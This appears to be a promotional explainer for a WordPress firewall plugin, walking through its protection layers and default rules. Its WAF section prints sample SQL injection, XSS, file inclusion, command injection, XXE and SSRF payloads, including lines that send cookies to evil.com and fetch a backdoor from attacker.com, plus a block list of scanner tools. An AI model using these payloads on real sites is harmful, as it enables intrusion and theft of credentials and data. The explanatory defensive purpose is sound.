If you run a WordPress website, your site is receiving unwanted visitors every single day — automated bots probing for weak passwords, hackers testing for known vulnerabilities, scanners mapping your site structure, and tools designed to inject malicious code into your pages.
Most website owners never see any of this activity. It happens silently in the background, and by the time something goes wrong, the damage is already done.
UltraGuard’s Firewall module stands between the internet and your WordPress installation, inspecting every incoming request before it ever reaches your site. It runs eight independent layers of protection in sequence, from the fastest checks to the deepest analysis. This article explains each layer in plain English, with real-world examples of what it catches and why it matters to you.
What Is a Web Application Firewall?
Before we get into the layers, it helps to understand what a firewall actually does.
When someone visits your website, their browser sends a request to your server — essentially a message that says “please send me this page.” Most of those requests are perfectly normal. A visitor wants to read your blog post. A customer wants to view a product. A search engine is indexing your content.
But some requests are not visits. They are attacks. An attacker might send a request that says “give me your database contents” disguised as a search query. A bot might try to log in to your admin panel thousands of times per minute. A scanner might probe every file on your server looking for something it can exploit.
A Web Application Firewall (WAF) reads every incoming request and decides whether to let it through or block it. UltraGuard’s firewall makes that decision across eight layers of checks, running them in order from fastest to most thorough so that clean requests are processed with minimal delay.
The 8 Layers of UltraGuard’s Firewall
Layer 1: IP Whitelist — Trusted Visitors Always Get Through
The very first thing UltraGuard does with any incoming request is check whether the visitor’s IP address is on your trusted list. If it is, they bypass every other check completely.
Why this matters: If you manage your own site, your home or office IP address is always trusted. Security scanner tools you use, payment gateway servers, and your SEO agency’s crawlers can all be whitelisted. This ensures that your legitimate traffic is never accidentally blocked by any of the other layers.
Example: You’re a web developer who manages a client’s WordPress site. Your office has the static IP address 203.0.113.50. You add this to UltraGuard’s whitelist. Now when you log in, run tests, or upload files from the office, none of the firewall layers apply to you — you sail straight through to the site.
Example: Your payment gateway sends webhook notifications to your WooCommerce store from IP range 198.51.100.0/24. You add that CIDR range to the whitelist so payment confirmations are never blocked.
Layer 2: IP Blacklist — Known Bad Actors Are Blocked Instantly
After checking the whitelist, UltraGuard checks whether the visitor’s IP is on the blacklist. This includes both individual addresses and entire network ranges (called CIDR blocks). Blacklisted IPs are blocked before any other processing happens.
IPs can end up on the blacklist in three ways: you add them manually, the auto-ban system adds them automatically after repeated attacks, or they are imported from the reputation feed.
Why this matters: Once a bot or attacker has been identified, there is no reason to keep processing their requests through the rest of the firewall. Blocking them at the IP level is the fastest and most efficient response.
Example: Your firewall logs show that IP address 185.220.101.47 has sent 50 requests in the past hour, all of them attempting SQL injection attacks. You block this IP, and from that point onwards, every request from that address is rejected with a 403 error before it touches your site.
Example: You notice a range of IP addresses from a suspicious hosting provider all probing your site. You add the CIDR block 185.220.100.0/22 to the blacklist, blocking the entire network range in one step rather than adding individual addresses one by one.
Layer 3: Rate Limiting — Too Many Requests Too Quickly Gets You Blocked
Rate limiting watches how many requests a single IP address makes within a time window. If an IP exceeds your configured threshold, UltraGuard either blocks the request or temporarily bans the IP entirely.
The default settings allow up to 200 requests per 60 seconds from a single IP. This is generous enough for any normal visitor — even someone clicking around quickly or running a legitimate page speed test. But it stops automated scanners that might send thousands of requests per minute.
Why this matters: Automated attack tools don’t browse like humans. They send requests as fast as the server will accept them. Rate limiting is the layer that stops this kind of bulk probing before it can do harm.
Example: A bot starts scanning your site looking for vulnerable plugin files. It sends 500 requests in 30 seconds, hitting URLs like /wp-content/plugins/old-plugin/readme.txt one after another. UltraGuard’s rate limiter detects this burst, blocks the requests, and temporarily bans the IP for one hour.
Example: A competitor or rival is scraping all the content from your blog to republish it elsewhere. Their scraper hits 300 pages in under a minute. Rate limiting kicks in and blocks their scraper before it gets through your entire archive.
Layer 4: Geo-Blocking — Block Entire Countries
Geo-blocking lets you restrict access to your site based on the country the visitor is connecting from. You can operate in one of two modes:
- Blacklist mode: Allow everyone except specific countries you choose to block
- Whitelist mode: Block everyone except specific countries you choose to allow
Why this matters: If your business only operates in India, there is limited legitimate reason for high volumes of traffic from Eastern Europe or certain Southeast Asian countries known for hosting attack infrastructure. Blocking those regions reduces your attack surface dramatically without affecting your actual customers.
Example: You run an Indian e-commerce store. Your customers are in India, and you have no international shipping. You set geo-blocking to whitelist mode and allow only India. Traffic from every other country is blocked automatically — including the majority of automated attack infrastructure, which originates overseas.
Example: You run a global blog but have been seeing high volumes of malicious traffic specifically from a handful of countries. You add them to the blacklist. Legitimate readers from those countries cannot access your site, but your attack log goes from hundreds of daily hits to near zero.
Example: You run a SaaS product with customers in India, the UK, and Australia. You whitelist all three countries. Traffic from other regions is blocked unless they use a VPN, which is a reasonable trade-off for a business-focused application.
Layer 5: Bot Detection — Bad Automated Tools Are Blocked by Name
Every browser and automated tool identifies itself with a User-Agent string — a short text label that says what software is making the request. Legitimate browsers send strings like Mozilla/5.0 (Windows NT 10.0; Win64; x64). Legitimate search engine crawlers send strings like Googlebot/2.1.
But attack tools also identify themselves. UltraGuard maintains a list of known malicious and unwanted tool signatures and blocks them on sight.
The tools blocked include: sqlmap (automated SQL injection tool), nikto (vulnerability scanner), nmap (network port scanner), masscan (fast internet scanner), nuclei (vulnerability exploitation framework), acunetix (commercial web app scanner), burpsuite (penetration testing platform), dirbuster and gobuster (directory brute-forcers), wfuzz and ffuf (web fuzzing tools), metasploit (exploitation framework), and several others.
You can also configure UltraGuard to block requests with a completely empty User-Agent, which is unusual for legitimate traffic and very common in automated scripts.
Why this matters: These are the tools attackers use to probe your site. Blocking them by name stops a significant portion of automated attacks before they even begin.
Example: An attacker runs sqlmap --url https://yoursite.com/search?q=test to test your search page for SQL injection vulnerabilities. The request arrives at your server with a User-Agent string containing sqlmap. UltraGuard blocks it instantly and logs the attempt.
Example: A security researcher (or a malicious actor) runs WPScan against your site to enumerate installed plugins and check for known vulnerabilities. Their requests contain wpscan in the User-Agent. UltraGuard blocks the entire scan.
Example: A script runs against your site with no User-Agent header at all — just raw HTTP requests with no identification. If you have enabled the empty User-Agent block, these requests are rejected immediately.
Note: Social media crawlers like Facebook, Twitter/X, LinkedIn, Discord, WhatsApp, and Telegram are automatically trusted. When someone shares your link on social media, those platforms send a crawler to fetch a preview image and title. UltraGuard recognises these legitimate crawlers and lets them through even if bot protection is enabled.
Layer 6: Proxy and VPN Detection — Block Anonymised Attack Traffic
Many attackers route their traffic through VPN services, proxy servers, or datacenter IP ranges to hide their real location and make it harder to trace attacks back to them. UltraGuard can detect when a request is coming through this kind of infrastructure and block it.
Why this matters: While there are legitimate reasons to use a VPN (privacy, accessing region-restricted content), the vast majority of automated attack traffic comes through datacenter IP ranges and proxy services. Enabling this layer significantly reduces attack volume.
Example: A hacker in one country is attempting brute-force attacks on your login page, routing their traffic through a VPN server in another country to obscure their origin. UltraGuard detects that the connecting IP belongs to a known VPN or proxy provider and blocks it.
Example: A coordinated attack is being launched using a botnet of datacenter servers — each one sending a small number of requests to avoid triggering rate limits. UltraGuard’s proxy and datacenter detection identifies these IPs as non-residential, non-legitimate traffic and blocks them.
This layer is optional and disabled by default. Some of your legitimate visitors may use VPNs for privacy reasons. Enable this layer if your site is under active attack or if your audience has no reason to be using VPN services (for example, an internal business tool or regional service).
Layer 7: WAF — Deep Attack Pattern Detection
This is the most technically powerful layer. The WAF (Web Application Firewall) scans the actual content of every request — the URL, query parameters, form submissions, and headers — looking for attack payloads. It checks for nine categories of attack:
SQL Injection (SQLi)
SQL injection is one of the oldest and most damaging attacks against websites. An attacker inserts database commands into a form field or URL, attempting to trick your site into running those commands against your database — potentially exposing all your user data, orders, or passwords.
What UltraGuard detects: UNION SELECT statements, DROP TABLE commands, SLEEP() and BENCHMARK() timing attacks, INFORMATION_SCHEMA enumeration, LOAD_FILE() and INTO OUTFILE attempts, SQL comment sequences (--, #, /* */), and hexadecimal encoding used to bypass filters.
Example attack stopped: A bot sends this URL to your site:
/search?q=shoes' UNION SELECT username,password FROM wp_users--The UNION SELECT pattern is detected, the request is blocked immediately, and the attacker never gets a response.
Example attack stopped: An attacker tests your contact form with:
email=test@test.com' OR '1'='1The OR 1=1 pattern — a classic SQL injection test — is detected and blocked.
Cross-Site Scripting (XSS)
XSS attacks inject malicious JavaScript into your website pages. If successful, the injected script runs in your visitors’ browsers — potentially stealing their session cookies, redirecting them to fake login pages, or silently recording their keystrokes.
What UltraGuard detects: <script> tags, javascript: protocol in URLs, HTML event handlers like onclick=, onload=, onerror=, dangerous tags like <iframe>, <object>, and <embed>, CSS expression() injection, document.cookie and document.write access patterns, SVG-based XSS, and data:text/html URI schemes.
Example attack stopped: A comment spammer tries to post this as a comment on your blog:
html
Great article! <script>document.location='https://evil.com/steal?c='+document.cookie</script>The <script> tag is detected in the form submission and the request is blocked.
Example attack stopped: An attacker crafts a link to your search page:
/search?q=<img src=x onerror=alert(document.cookie)>The onerror= event handler pattern is detected and blocked before the page is rendered.
Path Traversal
Path traversal attacks try to access files on your server that are outside the web root — things like your server’s /etc/passwd file (which contains user account information), configuration files, or private keys.
What UltraGuard detects: ../ sequences (going up directory levels), URL-encoded variants like %2e%2e%2f, attempts to access /etc/passwd, /etc/shadow, /proc/self/, and windows/system32/.
Example attack stopped: A bot sends:
/index.php?file=../../../../etc/passwdThe ../../../../ path traversal sequence is detected and blocked.
Example attack stopped: An attacker uses URL encoding to try to bypass basic filters:
/page?template=%2e%2e%2f%2e%2e%2fwp-config.phpUltraGuard decodes the URL before checking, detects the traversal pattern, and blocks it.
Remote File Inclusion (RFI)
Remote file inclusion attacks trick your WordPress site into loading and executing a PHP file from a remote server controlled by the attacker. If successful, this gives the attacker the ability to run any code they want on your server.
What UltraGuard detects: Requests that include an external URL pointing to executable script files (.php, .asp, .jsp) in parameter values, particularly from domains other than your own site.
Example attack stopped:
/page?template=https://attacker.com/shell.phpThe external PHP file URL is detected and the request is blocked before your server attempts to fetch it.
Remote Code Execution (RCE)
RCE is the most severe category of attack. It attempts to run operating system commands or PHP functions directly on your server. A successful RCE attack gives an attacker full control of your hosting account.
What UltraGuard detects: PHP execution functions (system(), exec(), shell_exec(), passthru(), popen()), eval(base64_decode(...)) chains, backtick command execution, piped shell commands (; cat /etc/passwd, | bash), and wget/curl download chains.
Example attack stopped: An attacker finds a vulnerable parameter and tries:
/process?cmd=;wget https://attacker.com/backdoor.php -O shell.phpThe wget download command pattern is detected and blocked.
Example attack stopped: A request contains:
data=eval(base64_decode('cGhwaW5mbygpOw=='))The eval(base64_decode(...)) pattern — the most common PHP backdoor technique — is detected and blocked.
XML External Entity Injection (XXE)
XXE attacks exploit the way XML parsers process external references. By injecting a specially crafted XML payload, an attacker can potentially read files from your server, perform server-side request forgery, or cause denial of service.
What UltraGuard detects: <!ENTITY ... SYSTEM ...> declarations and <!DOCTYPE ... [ constructs in request payloads.
Example attack stopped: A REST API endpoint that accepts XML receives:
xml
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>The <!ENTITY ... SYSTEM pattern is detected and the request is blocked.
Server-Side Request Forgery (SSRF)
SSRF attacks trick your server into making HTTP requests on the attacker’s behalf — typically to internal network addresses, cloud metadata endpoints, or other services not normally accessible from the internet.
What UltraGuard detects: Requests pointing to localhost, 127.x.x.x, private IP ranges (10.x.x.x, 192.168.x.x, 172.16-31.x.x), the AWS and Google Cloud metadata endpoints (169.254.169.254, metadata.google.internal), and file:// protocol URLs.
Example attack stopped: An attacker finds a feature on your site that fetches a URL (perhaps an image importer or RSS feed fetcher) and sends:
/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/This is a well-known attack against AWS-hosted sites trying to steal cloud credentials. The metadata endpoint URL is detected and blocked.
Example attack stopped:
/fetch?source=http://192.168.1.1/adminThe private IP address range is detected and the request is blocked before your server makes any internal network requests.
Command Injection (CMDi)
Command injection attacks attempt to inject operating system shell commands into parameters that get passed to system functions. Similar to RCE, but specifically targeting command-line execution via shell operators.
What UltraGuard detects: Shell operator sequences (; cat, | bash, && whoami), command substitution patterns ($(command), `command`), URL-encoded newlines used to inject commands, and common information-gathering commands (id, whoami, uname, hostname, ifconfig).
Example attack stopped: An attacker tries to inject a command into a parameter that gets used in a system call:
/convert?file=image.png; cat /etc/passwd > /var/www/html/leaked.txtThe ; cat command injection sequence is detected and blocked.
Local File Inclusion (LFI)
LFI attacks use PHP stream wrappers to trick your site into including and processing files in unexpected ways — reading file contents, executing code through filters, or accessing data streams that should not be accessible via a web request.
What UltraGuard detects: PHP wrapper protocols including php://input, php://filter, php://data, expect://, zip://, and data://.
Example attack stopped:
/page?file=php://filter/convert.base64-encode/resource=wp-config.phpThis is a classic attack that uses PHP’s filter wrapper to read and return the contents of wp-config.php (which contains your database password) encoded as base64. The php://filter pattern is detected and blocked immediately.
Layer 8: Custom Rules — Your Own Firewall Logic
Beyond the built-in detection layers, UltraGuard lets you create your own custom firewall rules. You can match on five fields — IP address, URL, HTTP method, User-Agent, and hostname — using six operators: equals, not equals, contains, not contains, starts with, ends with, and regex.
Each rule has three possible actions: Block (deny the request with a 403), Allow (let the request through, bypassing any further rules), or Log (record the request without blocking it).
35 default rules are pre-loaded to give you a strong baseline configuration from day one, covering the most common attack vectors against WordPress. Here are some examples:
| What It Blocks | Why |
|---|---|
Access to xmlrpc.php | A common brute-force and DDoS amplification target |
Access to wp-config.php | Your database credentials live here |
Access to .htaccess | Apache configuration files |
Access to .env files | Environment files often contain API keys and passwords |
Access to php:// streams | PHP wrapper injection attacks |
The ../ path traversal sequence | Directory traversal attacks |
UNION SELECT in URLs | SQL injection |
<script> tags in URLs | Cross-site scripting |
Log4Shell JNDI patterns (${jndi:) | The critical 2021 Log4Shell vulnerability |
| Shellshock patterns in headers | The 2014 Bash vulnerability, still probed today |
| Spring4Shell patterns | The 2022 Spring Framework RCE |
| WPScan, Nikto, Acunetix, SQLMap in User-Agent | Automated vulnerability scanners |
Access to /wp-content/uploads/*.php | PHP files uploaded to your media folder |
Access to readme.html and license.txt | Files that reveal your WordPress version |
User enumeration via ?author=N | Attackers probing to discover admin usernames |
Access to /.git/ and /.svn/ directories | Version control data that may contain credentials |
Access to composer.json and composer.lock | PHP dependency manifests with version information |
Backup files (.sql, .zip, .gz) | Database dumps and archive files |
Access to /wp-includes/ PHP files | WordPress core internals |
You also get two explicit Allow rules pre-configured: the WordPress REST API (/wp-json/) and the AJAX handler (/admin-ajax.php) are always permitted through, so your site’s functionality is never broken by the firewall.
Additional Protection: Hotlink Protection and Login Throttling
Beyond the eight main layers, the firewall includes two additional protections.
Hotlink Protection prevents other websites from embedding your images, videos, and documents directly on their pages — consuming your bandwidth without any benefit to you. When enabled, requests for your media files that originate from external domains are blocked with a 403 response.
Login Page Throttling adds an extra layer of rate limiting specifically to the WordPress login page, separate from the general rate limiter. You can configure the maximum number of login attempts allowed within a time window. If an IP exceeds this limit, it is automatically banned for one hour and the attempt is logged. This works alongside the Login Limiter module to provide overlapping brute-force protection.
Auto-Ban: Automatic Escalation for Repeat Attackers
When UltraGuard’s WAF blocks an attack, it records the event. If the same IP address triggers five or more blocks within a 10-minute window, it is automatically added to the IP blacklist for a configurable duration (default: one hour). This means that an attacker who is actively probing your site — triggering multiple WAF rules in quick succession — gets escalated from individual request blocks to a complete IP ban automatically, without you needing to do anything.
Reputation Feed: Crowd-Sourced Threat Intelligence
UltraGuard can optionally sync with the FireHOL Level 1 IP blocklist — a crowd-sourced, constantly updated list of IP addresses and network ranges known to be involved in attacks, botnets, and malicious activity. This feed is updated twice daily and automatically imported into your IP blacklist, giving you the benefit of the security community’s collective intelligence without any manual effort.
Cloud Threat Intelligence
As the very first check — even before the whitelist — UltraGuard checks incoming IPs against a cloud-synced hostile IP database maintained by UltraGuard’s servers. This feeds real-time threat data from the entire UltraGuard user base into your firewall, so known-bad IPs are blocked the moment they arrive, before any local processing is needed.
What Gets Through Without Checking
UltraGuard is carefully designed to never accidentally block your own legitimate access. The following are always bypassed:
- Logged-in administrators accessing wp-admin are never subject to firewall checks — WordPress handles their authentication
- The WordPress REST API (
/wp-json/) passes through, as WordPress has its own authentication layer - WP-Cron internal scheduled tasks are never blocked
- Your own AJAX requests from wp-admin are always permitted
- Social media crawlers (Facebook, Twitter/X, LinkedIn, Discord, WhatsApp, Telegram) are allowed to fetch link previews
How to Get Started
UltraGuard’s Firewall is included in the free tier with no time limit and no credit card required.
- Download UltraGuard from ultraguard.net/download
- Install and activate via Plugins → Add New → Upload Plugin
- Complete the onboarding wizard — the firewall is enabled by default
- Visit Firewall → Dashboard to see real-time protection stats
- Visit Firewall → Logs to see blocked requests as they happen
- Visit Firewall → IP Management to manage your whitelist and blacklist
- Visit Firewall → Country Blocking to configure geo-restrictions
- Visit Firewall → Rules to review and customise the 35 pre-loaded rules
The firewall runs at the earliest possible point in WordPress’s boot sequence — before most plugins load — so it catches attacks before they have any chance to trigger vulnerable code elsewhere on your site.
Summary
| Layer | What It Checks | Default State |
|---|---|---|
| IP Whitelist | Trusted IPs bypass all checks | On |
| IP Blacklist | Known bad IPs blocked instantly | On |
| Rate Limiting | Too many requests from one IP | Off (configurable) |
| Geo-Blocking | Block or allow by country | Off (configurable) |
| Bot Detection | Known attack tool signatures | On |
| Proxy/VPN Detection | Anonymised attack traffic | Off (configurable) |
| WAF (9 attack types) | SQLi, XSS, RCE, LFI, RFI, CMDi, XXE, SSRF, Path Traversal | On |
| Custom Rules | Your own logic, 35 defaults pre-loaded | On |
| Hotlink Protection | Prevent media embedding from external sites | Off (configurable) |
| Login Throttling | Brute-force protection on login page | On |
| Auto-Ban | Auto-escalate repeat attackers to IP ban | On |
| Reputation Feed | FireHOL Level 1 crowd-sourced blocklist | Off (configurable) |
| Cloud Threat Intel | UltraGuard network shared threat data | On |
Eight layers of automated protection, 35 pre-loaded rules, and the tools to add your own. All of it free.
Download UltraGuard Free → View All Features →
UltraGuard Firewall is part of the free core of UltraGuard Security Suite v6.7.2. Requires WordPress 5.6+ and PHP 8.1+.